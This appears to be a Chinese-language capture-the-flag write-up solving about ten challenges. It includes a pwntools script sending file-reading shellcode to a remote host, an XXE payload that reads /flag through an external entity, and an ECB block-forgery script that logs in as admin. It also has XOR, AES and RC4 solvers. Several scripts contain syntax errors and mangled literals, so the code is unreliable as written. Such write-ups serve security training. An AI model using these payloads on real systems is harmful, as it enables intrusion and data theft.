RuneBreach


简简单单一个orw,开启了沙箱,没什么难度

from pwn import *
context(arch="amd64",log_level='debug')
#p = process("./chall")
p = remote('47.94.152.21',20627)

for i in range(4):
    p.sendlineafter("Defend? (y/N): ","n")

p.recvuntil("[BOSS] Your place is mine now ")
addr = int(p.recv(14),16)
print(addr)
co = shellcraft.open("/flag")
co += shellcraft.read(3,"rsp",0x40)
co += shellcraft.write(1,"rsp",0x40)
p.recvuntil("territory: ")
p.sendline(asm(co))
p.interactive()

星际XML解析器

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY admin SYSTEM  "file:///flag">  
]>
<user>
  <username>&admin;</username>  
  <password>password</password>
</user>

Flowzip

抓包筛选直接出flag

直接出

ezEvtx

习惯性看一下4663,查了一下文件直接就出来了

黑客迷失逃脱

点进去看到了一个secret的字符

试了一下拿到了源码,然后去

全部拿到了直接跑

def ni_decrypt(hex_string, key):
    encrypted = bytes.fromhex(hex_string)
    decrypted = ""
    for i in range(len(encrypted)):
        key_char = key[i % len(key)]
        decrypted += chr(encrypted[i] - ord(key_char))
    return decrypted

encrypted_text = "d9d1c4d9e0a88fa2cab265946c60d49995a592a8969f9aa66a6a6865a097c9d8c7a8c29bc9b194656ab0"
key = "secret_key2363" 
flag = ni_decrypt(encrypted_text, key)
print(flag)

Enigma

拿到看到是Enigma直接放到赛博厨子里

也是直接就出了

ECBTrain

一个伪造块的ecb密码题
构造admin
输出的字符不好看先解码一下

raw_bytes = b'\xe8\xaf\xb7\xe9\x80\x89\xe6\x8b\xa9\xe6\x93\x8d\xe4\xbd\x9c\xef\xbc\x9a\n1. \xe6\xb3\xa8\xe5\x86\x8c\n2. \xe7\x99\xbb\xe5\xbd\x95\n3. \xe9\x80\x80\xe5\x87\xba\n\xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\xa5\xe9\x80\x89\xe9\xa1\xb9\xe7\xbc\x96\xe5\x8f\xb7: '
#rar = b'\xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\xa5\xe7\x94\xa8\xe6\x88\xb7\xe5\x90\x8d: \xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\xa5\xe5\xaf\x86\xe7\xa0\x81: '
#rar  = '\xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\xa5\xe5\xaf\x86\xe7\xa0\x81: \xe6\xb3\xa8\xe5\x86\x8c\xe6\x88\x90\xe5\x8a\x9f\xef\xbc\x81\xe4\xbd\xa0\xe7\x9a\x84auth\xe4\xb8\xba: itmK6EbGSrQQsrURACJWQw==\n\n\xe8\xaf\xb7\xe9\x80\x89\xe6\x8b\xa9\xe6\x93\x8d\xe4\xbd\x9c\xef\xbc\x9a\n1. \xe6\xb3\xa8\xe5\x86\x8c\n2. \xe7\x99\xbb\xe5\xbd\x95\n3. \xe9\x80\x80\xe5\x87\xba\n\xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\xa5\xe9\x80\x89\xe9\xa1\xb9\xe7\xbc\x96\xe5\x8f\xb7: '
#rar = b'\xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\xa5\xe5\xaf\x86\xe7\xa0\x81: \xe6\xb3\xa8\xe5\x86\x8c\xe6\x88\x90\xe5\x8a\x9f\xef\xbc\x81\xe4\xbd\xa0\xe7\x9a\x84auth\xe4\xb8\xba '
rar = '\xe3\x80\x82\n\xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\xa5'
decoded_str = raw_bytes.decode('utf-8')
decoded_str1 = rar.decode('utf-8')
print("解码后的字符串:\n", decoded_str)
print("解码后的字符串:\n", decoded_str1)
options = decoded_str.split('\n')
for option in options:
    if option.strip():
        print("提取项:", option.strip())

解码之后看到需要伪造admin登陆后即可获得flag
块对齐使用这个 b""*16+b""*16+b""*16+b"admin")

from pwn import*
context.os = 'linux'
context.log_level = "debug"
p=remote('47.94.152.21',35415)
#raw_bytes = '\xe8\xba\xab\xe4\xbb\xbd\xe7\x99\xbb\xe5\xbd\x95\xe5\xb0\xb1\xe7\xbb\x99\xe4\xbd\xa0flag\xe3\x80\x82\n\xe8\xaf\xb7\xe8\xbe\x93\xe5\x85\xa5'
def app(a):
    decoded_str = a.decode('utf-8')
    print("解码后的字符串:\n", decoded_str)
    if "auth" in decoded_str:
        print("提示:程序正在请求输入 auth 信息")


p.recvuntil(b'\\__,_|_|_| |_|\n\n')
p.sendline(str(1))
a = p.recv()
app(a)
p.sendline(b"\x0f"*16+b"\x0f"*16+b"\x0f")
a = p.recv()
app(a)
p.sendline(str(123))
c = p.recvline().decode().strip().split(": ")[-1]
print(c)
p.sendline(str(1))
a = p.recv()
app(a)
p.sendline(b"b"\x0f"*16+b"\x0f"*16+b"\x0f"*16+b"admin"")
a = p.recv()
app(a)
p.sendline(str(123))
d = p.recvline().decode().strip().split(": ")[-1]
d = d[len(c):].encode()
p.sendline(str(2))
a = p.recv()
app(a)
p.sendline(d)
print(p.recvline().decode())
print(p.recvline().decode())
print(p.recvline().decode())

直接出flag

easy_AES

通过候选集合和对比约束条件,寻找密钥 key0 的映射,使得能够正确解密密文并还原明文。

from Cryptodome.Cipher import AES

b = {
    '7': ['3', '4', '5', '6', '7', '8', '9', 'a', 'b'],
    '4': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b'],
    'a': ['a', 'b', 'c', 'd', 'e', 'f'],
    'e': ['c', 'd'],
    'b': ['9', 'a', 'b', 'c', 'd'],
    '3': ['1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd'],
    '5': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a'],
    '6': ['4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd'],
    'c': ['0', '1', '2', '3'],
    'f': ['7'],
    'd': ['c', 'd', 'e'],
    '1': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e'],
    '9': ['0', '1', '2', '3', '4', '5', '6'],
    '0': ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
}

gift = 64698960125130294692475067384121553664
key1_hex = "74aeb356c6eb74f364cd316497c0f714"
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

char_to_num = {f"{i:x}": i for i in range(16)}
b_numeric = {char_to_num[k]: [char_to_num[c] for c in v] for k, v in b.items()}
key1_digits = [char_to_num[c] for c in key1_hex]

gift_bin = bin(gift)[2:].zfill(128)
gift_nibbles = [int(gift_bin[i*4 : (i+1)*4], 2) for i in range(32)]

candidates = []
for i in range(32):
    k, g = key1_digits[i], gift_nibbles[i]
    user_candidates = b_numeric.get(k, list(range(16)))  # 获取符合用户约束的候选
    candidates.append([c for c in user_candidates if (c & k) == g])  # 筛选符合按位操作的候选

def solve():
    used = [False] * 16 
    mapping = {}:

    def backtrack(pos):
        if pos == 32: 
            key0_digits = [mapping[k] for k in key1_digits]  
            key0_hex = "".join(f"{c:x}" for c in key0_digits)
            try:
               
                aes0 = AES.new(bytes.fromhex(key0_hex), AES.MODE_CBC, bytes.fromhex(key1_hex))
                aes1 = AES.new(bytes.fromhex(key1_hex), AES.MODE_CBC, bytes.fromhex(key0_hex))
                plaintext = aes0.decrypt(aes1.encrypt(cipher))
                if b"flag{" in plaintext:  # 如果找到明文
                    print("Found valid key0:", key0_hex)
                    print("Flag:", plaintext.decode())
                    return True
            except:  
                pass
            return False

        k = key1_digits[pos] 
        if k in mapping:  
            return backtrack(pos + 1)

        for c in candidates[pos]:  
            if not used[c]:  
            
                valid = all(
                    (c & key1_digits[f_pos]) == gift_nibbles[f_pos]
                    for f_pos in range(pos + 1, 32)
                    if key1_digits[f_pos] == k
                )
                if not valid:
                    continue  

           
                used[c], mapping[k] = True, c
                if backtrack(pos + 1):  
                    return True
             
                del mapping[k]
                used[c] = False

        return False

    return backtrack(0)

if not solve():
print("No valid mapping found.")

ShadowPhases


定位strcmp函数,进去直接看rdx

BashBreaker

和 ai 玩游戏的题, 先走 3 步 AI 走 x 步,玩家走(4-x)步 重复步骤 2 直到获胜 获胜后记录输出的十六进制字符串 拿到 key

encrypted_key 下面有一个 ONE_PIECE
但是拿不到真正的flag

#include<stdio.h>

#define TCPF_TIME_WAIT 64
#define TCPF_NEW_SYN_RECV 4096
#define _QWORD unsigned long long
#define _DWORD unsigned int
#define _BYTE unsigned char

__int64 __fastcall rc4_init(__int64 a1, __int64 a2, unsigned __int64 a3) {
    char v4;
    int j, v6, i;

    for (i = 0; i <= 255; ++i)
        *(_BYTE *)(a1 + i) = i;
    v6 = 0;
    for (j = 0; j <= 255; ++j) {
        v6 = ((*(_BYTE *)(j % a3 + a2) ^ 0x37) + *(unsigned __int8 *)(a1 + j) + v6) % 256;
        v4 = *(_BYTE *)(a1 + j);
        *(_BYTE *)(a1 + j) = *(_BYTE *)(a1 + v6);
        *(_BYTE *)(a1 + v6) = v4;
    }
    *(_DWORD *)(a1 + 260) = 0;
    *(_DWORD *)(a1 + 256) = *(_DWORD *)(a1 + 260);
    return a1;
}

__int64 __fastcall rc4_next(__int64 a1) {
    unsigned __int8 v2;
    char v3;

    *(_DWORD *)(a1 + 256) = (*(_DWORD *)(a1 + 256) + 1) % 256;
    *(_DWORD *)(a1 + 260) = (*(_DWORD *)(a1 + 260) + *(unsigned __int8 *)(a1 + *(int *)(a1 + 256))) % 256;
    v3 = *(_BYTE *)(a1 + *(int *)(a1 + 256));
    *(_BYTE *)(a1 + *(int *)(a1 + 256)) = *(_BYTE *)(a1 + *(int *)(a1 + 260));
    *(_BYTE *)(a1 + *(int *)(a1 + 260)) = v3;
    v2 = *(_BYTE *)(a1 + (unsigned __int8)(*(_BYTE *)(a1 + *(int *)(a1 + 256)) + *(_BYTE *)(a1 + *(int *)(a1 + 260))));
    return (16 * v2) | (unsigned int)(v2 >> 4);
}

void main() {
    unsigned char box[0x200];
    unsigned char ONE_PIECE[48] = {
        0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48, 0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75,
        0x8C, 0x89, 0xCD, 0xDD, 0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43, 0xE1, 0xD2,
        0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02, 0x39, 0x18
    };
    unsigned char real_key[] = "EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD";

    rc4_init((__int64)box, (__int64)real_key, 96);
    for (int i = 0; i < 42; i++) {
        ONE_PIECE[i] ^= rc4_next((__int64)box);
    }
    printf("%s", ONE_PIECE);
}